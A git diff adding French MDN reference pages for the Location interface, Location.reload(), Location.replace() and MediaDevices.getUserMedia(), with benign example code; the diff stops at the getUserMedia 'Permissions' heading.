+  - JavaScript
+  - Location
+  - Reference
+translation_of: Web/API/Location
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p>L'interface <strong><code>Location</code></strong> représente l'emplacement de l'objet auquel elle est liée. Les changements effectués dessus sont reflétés sur l'objet lié. Les deux interfaces {{domxref("Document")}} et {{domxref("Window")}} sont liées à une <code>Location</code>, accessible via {{domxref("Document.location")}} et {{domxref("Window.location")}} respectivement.</p>
+
+<h2 id="Anatomie_dune_Location">Anatomie d'une Location</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;span id="href" title="href"&gt;&lt;span id="protocol" title="protocol"&gt;http:&lt;/span&gt;//&lt;span id="host" title="host"&gt;&lt;span id="hostname" title="hostname"&gt;example.org&lt;/span&gt;:&lt;span id="port" title="port"&gt;8888&lt;/span&gt;&lt;/span&gt;&lt;span id="pathname" title="pathname"&gt;/foo/bar&lt;/span&gt;&lt;span id="search" title="search"&gt;?q=baz&lt;/span&gt;&lt;span id="hash" title="hash"&gt;#bang&lt;/span&gt;&lt;/span&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">html, body {height:100%;}
+html {display:table; width:100%;}
+body {display:table-cell; text-align:center; vertical-align:middle; font-family:georgia; font-size:230%; line-height:1em; white-space:nowrap;}
+
+[title] {position:relative; display:inline-block; box-sizing:border-box; /*border-bottom:.5em solid;*/ line-height:2em; cursor:pointer;}
+
+[title]:before {content:attr(title); font-family:monospace; position:absolute; top:100%; width:100%; left:50%; margin-left:-50%; font-size:40%; line-height:1.5; background:black;}
+[title]:hover:before,
+:target:before {background:black; color:yellow;}
+
+[title] [title]:before {margin-top:1.5em;}
+[title] [title] [title]:before {margin-top:3em;}
+
+[title]:hover,
+:target {position:relative; z-index:1; outline:50em solid rgba(255,255,255,.8);}</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">[].forEach.call(document.querySelectorAll('[title][id]'), function (node) {
+  node.addEventListener("click", function(e) {
+    e.preventDefault();
+    e.stopPropagation();
+    window.location.hash = '#' + $(this).attr('id');
+  });
+});
+[].forEach.call(document.querySelectorAll('[title]'), function (node) {
+  node.addEventListener("click", function(e) {
+    e.preventDefault();
+    e.stopPropagation();
+    window.location.hash = '';
+  });
+});</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>{{EmbedLiveSample('Anatomy_Of_Location')}}</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>L'interface <code>Location</code> n'hérite d'aucune propriété, mais implémente celles de {{domxref("URLUtils")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("Location.href")}}</dt>
+ <dd>Une {{domxref("DOMString")}} contenant l'URL entière.</dd>
+ <dt>{{domxref("Location.protocol")}}</dt>
+ <dd>Une {{domxref("DOMString")}} contenant le schéma de protocole de l'URL, incluant le <code>':'</code> final.</dd>
+ <dt>{{domxref("Location.host")}}</dt>
+ <dd>Une {{domxref("DOMString")}} contenant l'hôte, c'est-à-dire le <em>domaine</em>, un <code>':'</code>, et le <em>numéro de port</em> de l'URL.</dd>
+ <dt>{{domxref("Location.hostname")}}</dt>
+ <dd>Une {{domxref("DOMString")}} contenant le domaine de l'URL.</dd>
+ <dt>{{domxref("Location.port")}}</dt>
+ <dd>Une {{domxref("DOMString")}} contenant le numéro de port de l'URL.</dd>
+ <dt>{{domxref("Location.pathname")}}</dt>
+ <dd>Une {{domxref("DOMString")}} contenant un <code>'/'</code> initial suivi du chemin de l'URL.</dd>
+ <dt>{{domxref("Location.search")}}</dt>
+ <dd>Une {{domxref("DOMString")}} contenant un <code>'?'</code> suivi des paramètres de l'URL. Les navigateurs moderne fournissent <a href="/en-US/docs/Web/API/URLSearchParams/get#Example">URLSearchParams</a> et <a href="/en-US/docs/Web/API/URL/searchParams#Example">URL.searchParams</a> <span class="tlid-translation translation" lang="fr"><span title="">pour faciliter l'analyse des paramètres</span></span> de la <span class="tlid-translation translation" lang="fr"><span title="">chaîne de requête (querystring).</span></span></dd>
+ <dt>{{domxref("Location.hash")}}</dt>
+ <dd>Une {{domxref("DOMString")}} contenant un <code>'#'</code> suivi de <em>l'identifiant de fragment</em> de l'URL.</dd>
+ <dt>{{domxref("Location.username")}} {{Obsolete_Inline}}</dt>
+ <dd>Une {{domxref("DOMString")}} contenant le nom d'utilisateur spécifié avant le nom de domaine.</dd>
+ <dt>{{domxref("Location.password")}} {{Obsolete_Inline}}</dt>
+ <dd>Une {{domxref("DOMString")}} contenant le mot de passe spécifié avant le nom de domaine.</dd>
+ <dt>{{domxref("Location.origin")}} {{readOnlyInline}}</dt>
+ <dd>Retourne une {{domxref("DOMString")}} contenant la forme canonique de l'origine de la location.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em>L'interface <code>Location</code> n'hérite d'aucune méthode, mais implémente celles de {{domxref("URLUtils")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("Location.assign()")}}</dt>
+ <dd>Charge la ressource située à l'URL passée en paramètre.</dd>
+ <dt>{{domxref("Location.reload()")}}</dt>
+ <dd>Recharge la ressource depuis l'URL actuelle. Son unique paramètre facultatif est un <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Boolean">Boolean</a>, qui, s'il est <code>true</code>, implique que la page est toujours rechargée depuis le serveur. Si ce paramètre est <code>false</code> ou non spécifié, le navigateur peut éventuellement recharger la page depuis son cache.</dd>
+ <dt>{{domxref("Location.replace()")}}</dt>
+ <dd>Remplace la ressource actuelle par celle à l'URL passée en paramètre. la différence avec la méthode <code>assign()</code> est que, après avoir utilisé <code>replace()</code>, la page actuelle ne sera pas enregistrée dans l'historique de session {{domxref("History")}}, ce qui signifie que l'utilisateur ne pourra pas utiliser le bouton <em>précédent</em> pour y revenir.</dd>
+ <dt>{{domxref("Location.toString()")}}</dt>
+ <dd>Retourne une {{domxref("DOMString")}} contenant l'URL entière. C'est un synonyme de {{domxref("URLUtils.href")}}, sauf que <code>toString()</code> ne peut être utilisée pour modifier la valeur.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js">// Crée un élèment ancre et utilise la propriété href </code>dans le but de cet exemple
+<code class="language-js">// </code>Une alternative plus correcte est de naviguer vers l'URL et d'utiliser document.location ou window.location
+<code class="language-js"><span class="keyword token">var</span> url <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">createElement</span><span class="punctuation token">(</span><span class="string token">'a'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+url<span class="punctuation token">.</span>href <span class="operator token">=</span> <span class="string token">'https://developer.mozilla.org:8080/en-US/search?q=URL#search-results-close-container'</span><span class="punctuation token">;</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>url<span class="punctuation token">.</span>href<span class="punctuation token">)</span><span class="punctuation token">;</span>      <span class="comment token">// https://developer.mozilla.org:8080/en-US/search?q=URL#search-results-close-container</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>url<span class="punctuation token">.</span>protocol<span class="punctuation token">)</span><span class="punctuation token">;</span>  <span class="comment token">// https:</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>url<span class="punctuation token">.</span>host<span class="punctuation token">)</span><span class="punctuation token">;</span>      <span class="comment token">// developer.mozilla.org:8080</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>url<span class="punctuation token">.</span>hostname<span class="punctuation token">)</span><span class="punctuation token">;</span>  <span class="comment token">// developer.mozilla.org</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>url<span class="punctuation token">.</span>port<span class="punctuation token">)</span><span class="punctuation token">;</span>      <span class="comment token">// 8080</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>url<span class="punctuation token">.</span>pathname<span class="punctuation token">)</span><span class="punctuation token">;</span>  <span class="comment token">// /en-US/search</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>url<span class="punctuation token">.</span>search<span class="punctuation token">)</span><span class="punctuation token">;</span>    <span class="comment token">// ?q=URL</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>url<span class="punctuation token">.</span>hash<span class="punctuation token">)</span><span class="punctuation token">;</span>      <span class="comment token">// #search-results-close-container</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>url<span class="punctuation token">.</span>origin<span class="punctuation token">)</span><span class="punctuation token">;</span>    <span class="comment token">// https://developer.mozilla.org:8080</span></code></pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "history.html#the-location-interface", "Location")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Pas de différence avec {{SpecName("HTML5 W3C")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "browsers.html#the-location-interface", "Location")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité">Compatibilité</h2>
+
+
+
+<p>{{Compat("api.Location")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Deux méthodes qui créent un objet <code>location</code> : {{domxref("Window.location")}} et {{domxref("Document.location")}}.</li>
+ <li>Interfaces liées aux URL: {{domxref("URL")}}, {{domxref("URLSearchParams")}} et {{domxref("HTMLHyperlinkElementUtils")}}.</li>
+</ul>
diff --git a/files/fr/web/api/location/reload/index.html b/files/fr/web/api/location/reload/index.html
new file mode 100644
index 0000000000..c825101853
--- /dev/null
+++ b/files/fr/web/api/location/reload/index.html
@@ -0,0 +1,61 @@
+---
+title: Location.reload()
+slug: Web/API/Location/reload
+tags:
+  - API
+  - JavaScript
+  - Location
+  - Méthode
+  - Reference
+translation_of: Web/API/Location/reload
+---
+<div>{{ APIRef("HTML DOM") }}</div>
+
+<p><span class="seoSummary">La méthode <code><strong>Location.reload()</strong></code> recharge la ressource depuis l'URL actuelle.</span></p>
+
+<p>Si l'action est impossible à cause d'une violation de sécurité, une {{domxref("DOMException")}} de type <code>SECURITY_ERROR</code> est lancée. Cela se produit si l'origine du script appelant est différente de l'origine de la page initialement désignée par l'objet {{domxref("Location")}}, principalement quand le script est hébergé sur un autre domaine. Voir la page <a href="/fr/docs/Web/Security/Same_origin_policy_for_JavaScript">Same-origin policy</a> pour plus d'informations.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate"><em>object</em>.reload();
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js notranslate">// Recharge la page actuelle
+document.location.reload();</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "history.html#dom-location-reload", "Location.reload()")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Pas de différence avec {{SpecName("HTML5 W3C")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "browsers.html#dom-location-reload", "Location.reload()")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité">Compatibilité</h2>
+
+
+
+<p>{{Compat("api.Location.reload")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'interface {{domxref("Location")}} à laquelle appartient cette méthode.</li>
+ <li>Méthodes similaires : {{domxref("Location.assign()")}} et {{domxref("Location.replace()")}}.</li>
+</ul>
diff --git a/files/fr/web/api/location/replace/index.html b/files/fr/web/api/location/replace/index.html
new file mode 100644
index 0000000000..bca43babfb
--- /dev/null
+++ b/files/fr/web/api/location/replace/index.html
@@ -0,0 +1,100 @@
+---
+title: Location.replace()
+slug: Web/API/Location/replace
+tags:
+  - API
+  - JavaScript
+  - Méthode
+  - Reference
+translation_of: Web/API/Location/replace
+---
+<p>{{APIRef("Location")}}</p>
+<p>La méthode <code><strong>Location.replace()</strong></code> remplace la ressource actuelle par celle présente à l'URL donnée. La différence avec la méthode {{domxref("Location.assign","assign()")}} est que, après avoir utilisé <code>replace()</code>, la page actuelle ne sera pas enregistrée dans l'historique de session {{domxref("History")}}, ce qui signifie que l'utilisateur ne sera pas en mesure d'utiliser le bouton <em>précédent</em> pour y revenir.</p>
+<p>Si le remplacement est impossible à cause d'une violation de sécurité, une {{domxref("DOMException")}} de type <code>SECURITY_ERROR</code> est lancée. Ceci se produit si l'origine du script appelant est différente de l'origine de la page originellement désignée par l'objet {{domxref("Location")}}, principalement quand le script est hébergé sur un autre domaine.</p>
+<p>Si l'URL donnée n'est pas valide, une {{domxref("DOMException")}} de type <code>SYNTAX_ERROR</code> est lancée.</p>
+<h2 id="Syntaxe">Syntaxe</h2>
+<pre class="syntaxbox"><em>object</em>.replace(<em>url</em>);
+</pre>
+<h3 id="Paramètres">Paramètres</h3>
+<dl>
+ <dt>
+  <em>url</em></dt>
+ <dd>
+  {{domxref("DOMString")}} contenant l'URL de la page vers laquelle naviguer.</dd>
+</dl>
+<h2 id="Exemples">Exemples</h2>
+<pre class="brush: js">// Navigue vers l'article <em>Location.reload</em> en remplaçant la page actuelle
+document.location.replace('https://developer.mozilla.org/en-US/docs/Web/API/Location.reload');</pre>
+<h2 id="Spécifications">Spécifications</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "history.html#dom-location-replace", "Location.replace()")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Pas de différence avec {{SpecName("HTML5 W3C")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "browsers.html#dom-location-replace", "Location.replace()")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="Compatibilité">Compatibilité</h2>
+<p>{{ CompatibilityTable() }}</p>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Fonctionnalité</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Support de base</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Fonctionnalité</th>
+    <th>Android</th>
+    <th>Chrome for Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Support de base</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<h2 id="Voir_aussi">Voir aussi</h2>
+<ul>
+ <li>L'interface {{domxref("Location")}} à laquelle appartient cette méthode.</li>
+ <li>Méthodes similaires : {{domxref("Location.assign()")}} et {{domxref("Location.reload()")}}.</li>
+</ul>
diff --git a/files/fr/web/api/mediadevices/getusermedia/index.html b/files/fr/web/api/mediadevices/getusermedia/index.html
new file mode 100644
index 0000000000..67678ebeb0
--- /dev/null
+++ b/files/fr/web/api/mediadevices/getusermedia/index.html
@@ -0,0 +1,347 @@
+---
+title: MediaDevices.getUserMedia()
+slug: Web/API/MediaDevices/getUserMedia
+translation_of: Web/API/MediaDevices/getUserMedia
+---
+<div>{{APIRef("WebRTC")}}</div>
+
+<p><span class="notranslate"><span class="seoSummary">La méthode <code><strong>MediaDevices.getUserMedia()</strong></code> invite l'utilisateur à autoriser l'utilisation d'une entrée multimédia qui produit un </span></span> <span class="seoSummary">{{domxref("MediaStream")}}</span> <span class="notranslate"><span class="seoSummary"> avec des pistes contenant les types de médias demandés.</span></span> <span class="notranslate"> Ce flux peut inclure, par exemple, une piste vidéo (produite par une source matérielle ou vidéo virtuelle telle qu'une caméra, un dispositif d'enregistrement vidéo, un service de partage d'écran, etc.), une piste audio (de la même manière, produite par une source physique ou Source audio virtuelle comme un microphone, convertisseur A / D ou similaire) et éventuellement d'autres types de piste.</span></p>
+
+<p><span class="notranslate">Il renvoie un </span> {{jsxref("Promise")}} <span class="notranslate"> qui est résolu avec succès si l'utilisateur donne son autorisation;</span> <span class="notranslate"> </span> {{domxref("MediaStream")}} <span class="notranslate"> est fourni à ce moment-là.</span> <span class="notranslate"> Si l'utilisateur refuse ou si le média correspondant n'est pas disponible, le </span> {{jsxref("Promise")}} <span class="notranslate"> est rejetée avec respectivement <code>PermissionDeniedError</code> ou <code>NotFoundError</code>.</span></p>
+
+<div class="note">
+<p><span class="notranslate">Il est possible que le </span> {{jsxref("Promise")}} <span class="notranslate"> renvoyé ne soit <em>ni</em> résolu ni rejeté, car l'utilisateur n'est pas tenu de faire un choix.</span> .</p>
+</div>
+
+<p><span class="notranslate">Généralement, vous accédez à l'objet </span> {{domxref("MediaDevices")}} <span class="notranslate"> avec </span> {{domxref("navigator.mediaDevices")}} <span class="notranslate"> , comme ceci:</span></p>
+
+<pre class="brush: js">navigator.mediaDevices.getUserMedia(constraints).then(function(stream) {
+  /* use the stream */
+}).catch(function(err) {
+  /* handle the error */
+});</pre>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var <em>promise</em> = navigator.mediaDevices.getUserMedia(<em>constraints</em>);
+</pre>
+
+<h3 id="Paramètres"><span class="notranslate">Paramètres</span></h3>
+
+<dl>
+ <dt><code>constraints</code></dt>
+ <dd>
+ <p><span class="notranslate">Un objet </span> {{domxref("MediaStreamConstraints")}} <span class="notranslate"> spécifiant les types de supports à demander, ainsi que toutes les exigences pour chaque type.</span></p>
+
+ <p><span class="notranslate">Le paramètre constraints est un objet <code>MediaStreamConstraints</code> avec deux membres: <code>video</code> et <code>audio</code> , décrivant les types de média demandés.</span> <span class="notranslate"> L'un ou l'autre ou les deux doivent être spécifiés.</span> <span class="notranslate"> Si le navigateur ne trouve pas toutes les pistes multimédia avec les types spécifiés qui répondent aux contraintes fournies, la promesse renvoyée est rejetée avec <code>NotFoundError</code> .</span></p>
+
+ <p><span class="notranslate">Les demandes suivantes sont audio et vidéo sans aucune exigence spécifique:</span></p>
+
+ <pre class="brush: js">{ audio: true, video: true }</pre>
+
+ <p><span class="notranslate">Si <code>true</code> est spécifié pour un type de média, le flux résultant est <em>requis</em> pour obtenir ce type de piste.</span> <span class="notranslate"> Si on ne peut pas l'obtenir pour une raison quelconque, l'appel à <code>getUserMedia()</code> entraînera une erreur.</span></p>
+
+ <p><span class="notranslate">Alors que les informations sur les caméras et les microphones d'un utilisateur sont inaccessibles pour des raisons de confidentialité, une application peut demander les capacités de caméra et de microphone dont elle a besoin en utilisant des contraintes supplémentaires.</span> <span class="notranslate"> Ce qui suit exprime une préférence pour la résolution de la caméra 1280x720:</span></p>
+
+ <pre class="brush: js">{
+  audio: true,
+  video: { width: 1280, height: 720 }
+}</pre>
+
+ <p id="successCallback"><span class="notranslate">Le navigateur essaiera d'honorer cela, mais peut renvoyer d'autres résolutions si une correspondance exacte n'est pas disponible, ou si l'utilisateur l'annule.</span></p>
+
+ <p><span class="notranslate">Pour <em>exiger</em> une capacité, utilisez les mots-clés <code>min</code> , <code>max</code> ou <code>exact</code> (aka <code>min == max</code> ).</span> <span class="notranslate"> Ce qui suit exige une résolution minimale de 1280x720:</span></p>
+
+ <pre class="brush: js">{
+  audio: true,
+  video: {
+    width: { min: 1280 },
+    height: { min: 720 }
+  }
+}</pre>
+
+ <p><span class="notranslate">Si aucune caméra n'existe avec cette résolution ou plus haut, le </span> {{jsxref("Promise")}} <span class="notranslate"> retourné sera rejeté avec <code>OverconstrainedError</code>.</span></p>
+
+ <p><span class="notranslate">La raison de la différence de comportement est que les mots clés <code>min</code> , <code>max</code> et <code>exact</code> sont intrinsèquement obligatoires, alors que les valeurs simples et un mot-clé appelé <code>ideal</code> ne le sont pas.</span> <span class="notranslate"> Voici un exemple plus complet:</span></p>
+
+ <pre class="brush: js">{
+  audio: true,
+  video: {
+    width: { min: 1024, ideal: 1280, max: 1920 },
+    height: { min: 776, ideal: 720, max: 1080 }
+  }
+}</pre>
+
+ <p><span class="notranslate">Une valeur <code>ideal</code> , lorsqu'elle est utilisée, a une gravité, ce qui signifie que le navigateur essaiera de trouver le réglage (et la caméra, si vous en avez plus d'une), avec les valeurs les plus proches des valeurs idéales données.</span></p>
+
+ <p><span class="notranslate">Les valeurs simples sont par nature idéales, ce qui signifie que le premier de nos exemples de résolution ci-dessus aurait pu être écrit comme ceci:</span></p>
+
+ <pre class="brush: js">{
+  audio: true,
+  video: {
+    width: { ideal: 1280 },
+    height: { ideal: 720 }
+  }
+}</pre>
+
+ <p><span class="notranslate">Toutes les contraintes ne sont pas des nombres.</span> <span class="notranslate"> Par exemple, sur les appareils mobiles, les éléments suivants préfèrent la caméra avant (si celle-ci est disponible) sur l'arrière:</span></p>
+
+ <pre class="brush: js">{ audio: true, video: { facingMode: "user" } }</pre>
+
+ <p><span class="notranslate">Pour <em>exiger</em> la caméra arrière, utilisez:</span></p>
+
+ <pre class="brush: js">{ audio: true, video: { facingMode: { exact: "environment" } } }</pre>
+ </dd>
+</dl>
+
+<h3 id="Valeur_de_retour"><span class="notranslate">Valeur de retour</span></h3>
+
+<p><span class="notranslate">Un </span> {{jsxref("Promise")}} <span class="notranslate"> qui reçoit en objet </span> {{domxref("MediaStream")}} <span class="notranslate"> lorsque les médias demandés ont été obtenus avec succès.</span></p>
+
+<h3 id="Erreurs">Erreurs</h3>
+
+<p><span class="notranslate">Les rejets du </span> {{jsxref("Promise")}} <span class="notranslate"> retourné sont effectués en passant un objet erreur <a href="https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=fr&amp;prev=search&amp;rurl=translate.google.fr&amp;sl=en&amp;sp=nmt4&amp;u=https://developer.mozilla.org/en-US/docs/Web/API/DOMException&amp;usg=ALkJrhgnRUAs3RQR8I7ulOitmhRQUlVEUA" title="L'interface DOMException représente un événement anormal (appelé exception) qui se produit en raison de l'appel d'une méthode ou de l'accès à une propriété d'une API Web."><code>DOMException</code></a> au gestionnaire d'erreurs.</span> <span class="notranslate"> Les erreurs possibles sont:</span></p>
+
+<dl>
+ <dt><code>AbortError</code></dt>
+ <dd><span class="notranslate">Bien que l'utilisateur et le système d'exploitation aient tous deux accédé à l'équipement matériel, et qu'aucun problème de matériel ne causerait un <code>NotReadableError</code> , un problème s'est produit, ce qui a empêché l'utilisation du périphérique.</span></dd>
+ <dt><code>NotAllowedError</code></dt>
+ <dd><span class="notranslate">L'utilisateur a spécifié que l'instance de navigation actuelle n'a pas accès au périphérique;</span> <span class="notranslate"> Ou l'utilisateur a refusé l'accès pour la session en cours;</span> <span class="notranslate"> Ou l'utilisateur a refusé tout l'accès aux périphériques multimédias utilisateurs dans le monde entier.</span>
+ <div class="note"><span class="notranslate">Les versions plus anciennes de la spécification ont utilisé <code>SecurityError</code> pour cela à la place;</span> <span class="notranslate"> <code>SecurityError</code> a pris une nouvelle signification.</span></div>
+ </dd>
+ <dt><code>NotFoundError</code></dt>
+ <dd><span class="notranslate">Aucune piste multimédia du type spécifié n'a été trouvée satisfaisant les contraintes données.</span></dd>
+ <dt><code>NotReadableError</code></dt>
+ <dd><span class="notranslate">Bien que l'utilisateur ait autorisé l'utilisation des appareils correspondants, une erreur matérielle s'est produite sur le système d'exploitation, le navigateur ou le niveau de la page Web qui a empêché l'accès au périphérique.</span></dd>
+ <dt><code>OverConstrainedError</code></dt>
+ <dd><span class="notranslate">Aucun dispositif candidat répondant aux critères demandés.</span> <span class="notranslate"> L'erreur est un objet de type <code>OverconstrainedError</code> et possède une propriété de <code>constraint</code> dont la valeur de chaîne est le nom d'une contrainte impossible à honorer et une propriété <code>message</code> contenant une chaîne lisible par l'homme expliquant le problème.</span>
+ <div class="note"><span class="notranslate">Étant donné que cette erreur peut se produire même lorsque l'utilisateur n'a pas encore autorisé l'utilisation du périphérique sous-jacent, il peut être utilisé comme surface d'empreinte digitale.</span></div>
+ </dd>
+ <dt><code>SecurityError</code></dt>
+ <dd><span class="notranslate">Le support multimédia utilisateur est désactivé sur le </span> {{domxref("Document")}} <span class="notranslate"> sur lequel <code>getUserMedia()</code> été appelé.</span> <span class="notranslate"> Le mécanisme par lequel le support média utilisateur est activé/désactivé est laissé à la discrétion de l'utilisateur.</span></dd>
+ <dt><code>TypeError</code></dt>
+ <dd><span class="notranslate">La liste des contraintes spécifiées est vide ou toutes les contraintes sont définies comme <code>false</code> .</span></dd>
+</dl>
+
+<h2 id="Exemples"><span class="notranslate"><strong>Exemple</strong>s</span></h2>
+
+<h3 id="Largeur_et_hauteur"><span class="notranslate">Largeur et hauteur</span></h3>
+
+<p><span class="notranslate">Cet exemple donne une préférence pour la résolution de la caméra et attribue l'objet <a href="https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=fr&amp;prev=search&amp;rurl=translate.google.fr&amp;sl=en&amp;sp=nmt4&amp;u=https://developer.mozilla.org/en-US/docs/Web/API/MediaStream&amp;usg=ALkJrhipdR5n2jQ-BGrPTomESH_A7nof4g" title="L'interface MediaStream représente un flux de contenu multimédia. Un flux se compose de plusieurs pistes telles que des pistes vidéo ou audio. Chaque piste est spécifiée comme une instance de MediaStreamTrack."><code>MediaStream</code></a> résultant à un élément vidéo.</span></p>
+
+<pre>// Prefer camera resolution nearest to 1280x720.
+var constraints = { audio: true, video: { width: 1280, height: 720 } };
+
+navigator.mediaDevices.getUserMedia(constraints)
+.then(function(mediaStream) {
+  var video = document.querySelector('video');
+  video.srcObject = mediaStream;
+  video.onloadedmetadata = function(e) {
+    video.play();
+  };
+})
+.catch(function(err) { console.log(err.name + ": " + err.message); }); // always check for errors at the end.
+</pre>
+
+<h3 id="Utilisation_de_la_nouvelle_API_dans_les_navigateurs_plus_anciens"><span class="notranslate">Utilisation de la nouvelle API dans les navigateurs plus anciens</span></h3>
+
+<p><span class="notranslate">Voici un exemple d'utilisation de <code>navigator.mediaDevices.getUserMedia()</code> , avec un adaptateur pour faire face aux navigateurs plus anciens.</span> <span class="notranslate"> Notez que cet adaptater ne corrige pas les différences existantes dans la syntaxe des contraintes, ce qui signifie que les contraintes ne fonctionneront pas bien dans les navigateurs.</span> <span class="notranslate"> Il est recommandé d'utiliser l'adaptateur</span> <a href="https://github.com/webrtc/adapter">adapter.js</a> <span class="notranslate"> a la place, qui gère les contraintes.</span></p>
+
+<pre class="brush: js">// Older browsers might not implement mediaDevices at all, so we set an empty object first
+if (navigator.mediaDevices === undefined) {
+  navigator.mediaDevices = {};
+}
+
+// Some browsers partially implement mediaDevices. We can't just assign an object
+// with getUserMedia as it would overwrite existing properties.
+// Here, we will just add the getUserMedia property if it's missing.
+if (navigator.mediaDevices.getUserMedia === undefined) {
+  navigator.mediaDevices.getUserMedia = function(constraints) {
+
+    // First get ahold of the legacy getUserMedia, if present
+    var getUserMedia = navigator.webkitGetUserMedia || navigator.mozGetUserMedia;
+
+    // Some browsers just don't implement it - return a rejected promise with an error
+    // to keep a consistent interface
+    if (!getUserMedia) {
+      return Promise.reject(new Error('getUserMedia is not implemented in this browser'));
+    }
+
+    // Otherwise, wrap the call to the old navigator.getUserMedia with a Promise
+    return new Promise(function(resolve, reject) {
+      getUserMedia.call(navigator, constraints, resolve, reject);
+    });
+  }
+}
+
+navigator.mediaDevices.getUserMedia({ audio: true, video: true })
+.then(function(stream) {
+  var video = document.querySelector('video');
+  // Older browsers may not have srcObject
+  if ("srcObject" in video) {
+    video.srcObject = stream;
+  } else {
+    // Avoid using this in new browsers, as it is going away.
+    video.src = window.URL.createObjectURL(stream);
+  }
+  video.onloadedmetadata = function(e) {
+    video.play();
+  };
+})
+.catch(function(err) {
+  console.log(err.name + ": " + err.message);
+});
+</pre>
+
+<h3 id="Taux_d'images">Taux d'images</h3>
+
+<p><span class="notranslate">Des cadences inférieures peuvent être souhaitables dans certains cas, comme les transmissions WebRTC avec des restrictions de bande passante.</span></p>
+
+<pre class="brush: js">var constraints = { video: { frameRate: { ideal: 10, max: 15 } } };
+</pre>
+
+<h3 id="Caméra_avant_et_arrière"><span class="notranslate">Caméra avant et arrière</span></h3>
+
+<p><span class="notranslate">Sur les téléphones portables.</span></p>
+
+<pre class="brush: js">var front = false;
+document.getElementById('flip-button').onclick = function() { front = !front; };
+
+var constraints = { video: { facingMode: (front? "user" : "environment") } };
+</pre>
+
+<h2 id="Permissions">Permissions</h2>
+
